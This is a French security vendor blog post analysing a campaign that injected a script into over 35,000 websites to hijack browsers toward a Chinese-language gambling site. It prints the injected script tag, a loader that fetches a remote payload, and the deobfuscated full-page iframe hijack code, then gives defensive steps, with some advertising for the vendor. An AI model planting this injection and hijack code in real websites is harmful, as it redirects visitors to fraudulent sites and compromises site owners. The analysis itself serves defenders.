Skip to main content
Blog
Blog Attacks

Plus de 35 000 sites web ciblés par un détournement de page entière redirigeant vers une arnaque de jeu en ligne en langue chinoise

Une nouvelle campagne de malware a compromis plus de 35 000 sites web en y injectant un script malveillant depuis les domaines listés ci-dessous. Une fois le script chargé, il détourne intégralement la fenêtre du navigateur de l'utilisateur, le redirigeant souvent vers des pages faisant la promotion d'une plateforme de jeux d'argent (ou de casino) en langue chinoise.

Feb 20, 2025 6 min read
+35000-sites-attacked-image-cover

Une nouvelle campagne de malware a compromis plus de 35 000 sites web en y injectant un script malveillant depuis les domaines listés ci-dessous. Une fois le script chargé, il détourne intégralement la fenêtre du navigateur de l'utilisateur, le redirigeant souvent vers des pages faisant la promotion d'une plateforme de jeux d'argent (ou de casino) en langue chinoise.

L'attaque semble cibler des régions où le mandarin est courant, ou en provenir, et les pages de destination finales présentent du contenu de jeux d'argent sous la marque « Kaiyun ».

Liste des indicateurs de compromission (IoC) :

Avez-vous rencontré des redirections similaires ou de nouveaux IoC ? N'hésitez pas à les partager ou à contacter notre équipe. En mutualisant les données, nous pouvons identifier et neutraliser les menaces émergentes plus rapidement.

Tous les sites listés ci-dessus affichent le message suivant :

Traduction :

Félicitations, le site a été créé avec succès ! Ceci est le fichier index.html par défaut. Cette page est générée automatiquement par le système. Cette page est le fichier index.html situé dans le répertoire racine FTP. Vous pouvez modifier, supprimer ou écraser cette page. Pour toute information relative au FTP, veuillez consulter « Panneau système > Administration > FTP ».

Le processus d'infection

À titre d'exemple, nous avons analysé zuizhongjs[.]com.

Les attaquants insèrent une balise <script> d'une seule ligne référençant zuizhongjs[.]com directement dans les fichiers du site (par exemple dans le <head> ou en bas du <body>). Voici un exemple du code injecté :

<script language="javascript"
        src="https://www.zuizhongjs[.]com/js/24/12/7/ky1.js"
        type="text/javascript"></script>

Chargeur obfusqué

Dans le fichier chargé, les attaquants utilisent un extrait JavaScript qui écrit un autre élément script pour récupérer du malware supplémentaire :

;(function(o, q, f, e, w, j) {
    w = q.createElement(f);
    j = q.getElementsByTagName(f)[0];
    w.async = 1;
    w.src = e;
    j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);

Le code ci-dessus utilise la concaténation de chaînes et eval() pour dissimuler son véritable objectif. Il injecte une nouvelle balise <script> qui récupère la charge utile principale depuis le même domaine malveillant.

Charge utile principale (déobfusquée)

Voici une version simplifiée du script principal, illustrant les fonctionnalités clés :

function isMobile() {
    return navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i) ? true : false;
}

var url = "https://www.zuizhongjs[.]com/go/kaiyun1/ky.html";

function getIosVersion() {
    var str = navigator.userAgent.toLowerCase();
    var ver = str.match(/cpu iphone os (.*?) like mac os/);
    return ver ? parseInt(ver[1].slice(0,2)) : false;
}

var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);

function randomNum(minNum, maxNum) {
    return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10);
}

const time = randomNum(500, 1000);
console.log(time);

document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src="' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');

Points clés

  1. Détection de l'appareil
    • Utilise des fonctions telles que isMobile(), getIosVersion(), isIOS pour adapter la charge utile à des appareils ou systèmes d'exploitation spécifiques.
  2. Délai aléatoire
    • randomNum(500, 1000) introduit un délai de 500 à 1 000 ms pour contourner les analyses automatisées ou la détection par sandbox.
  3. Détournement plein écran
    • Le code injecte un élément et un <iframe> qui recouvrent intégralement la page, remplaçant tout le contenu d'origine.
  4. URL obfusquée
  5. Redirection finale

Les attaquants semblent acheminer le trafic vers un site de jeux d'argent en langue chinoise (ou de casino) opérant sous la marque « Kaiyun ».

Au cours de notre analyse, nous avons identifié plusieurs variantes sur des sites infectés :

Certaines adresses IP ou régions voient s'afficher une page indiquant que l'accès est bloqué. Elle invite les utilisateurs à contacter une adresse e-mail ou un « support en ligne », probablement pour filtrer les chercheurs en sécurité ou limiter le trafic indésirable.

Lien possible avec l'exploit Megalayer

Notre analyse suggère que cette campagne pourrait être liée à l'exploit Megalayer, connu pour distribuer des malwares en langue chinoise. Les indices incluent :

  • Localisation : Texte en chinois, références à un public mandarinophone.
  • Schémas de domaines : La structure de zuizhongjs[.]com, ainsi que plusieurs domaines de redirection utilisant .vip ou d'autres TLD prisés par certains acteurs malveillants.
  • Techniques d'obfuscation : URL encodées en Unicode, délais introduits par le code, etc.

Comment protéger votre site web

Le proxy de cside analyse la charge utile de chaque requête de script en temps réel. Si un script tente de charger une version malveillante, nous le détectons, bloquons son chargement et alertons votre équipe.

cside a déjà bloqué cette attaque pour ses utilisateurs, en assurant une analyse en temps réel et une défense proactive. Si vous pensez que votre site est infecté, contactez immédiatement votre prestataire de sécurité ou votre hébergeur.

  1. Auditez votre code source
    • Vérifiez vos fichiers HTML, fichiers de thème et templates CMS pour détecter toute balise non autorisée référençant zuizhongjs[.]com ou des domaines similaires suspects.
  2. Bloquez les domaines malveillants
    • Utilisez des règles de pare-feu ou un blocage au niveau DNS pour : zuizhongjs[.]com
    • p11vt3[.]vip (et les sous-domaines associés)
  3. Surveillez les journaux pour détecter toute requête sortante inattendue vers ces domaines.
  4. Vérifiez les modifications non autorisées
    • Examinez régulièrement votre compte d'hébergement ou utilisez un outil de vérification d'intégrité des fichiers.
    • Tout changement inexpliqué dans les fichiers principaux peut indiquer une porte dérobée ou un point d'injection.
  5. Content Security Policy (CSP)
    • Limitez les scripts aux seuls domaines de confiance grâce à une CSP bien définie.
    • Empêchez le chargement de scripts inline et de sources inconnues.
  6. Analyses régulières du site
    • Des outils comme PublicWWW ou URLScan permettent de détecter des injections malveillantes à grande échelle.

La campagne de malware ZuizhongJS illustre comment un seul script injecté peut détourner des milliers de sites web, redirigeant des utilisateurs peu méfiants vers des portails de jeux d'argent en langue chinoise. La présence de logos de clubs de football bien connus et de références sportives vise à donner une apparence de légitimité, mais l'ensemble de l'opération semble non licenciée, voire carrément frauduleuse.

  • Propriétaires de sites web : Supprimez tout script injecté, bloquez les domaines malveillants et renforcez votre configuration de sécurité pour éviter toute réinfection.
  • Chercheurs en sécurité : Des investigations supplémentaires sont nécessaires pour confirmer le lien avec Megalayer, identifier précisément les méthodes d'infiltration (par exemple, plugins CMS vulnérables, identifiants volés) et suivre les domaines additionnels.

cside a détecté et bloqué cette attaque avec succès. Si vous craignez une infection potentielle, notre système peut vous fournir une analyse en temps réel et une défense proactive.

Réserver un appel / une démo ou s'inscrire maintenant.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

cside Interface du tableau de bord affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration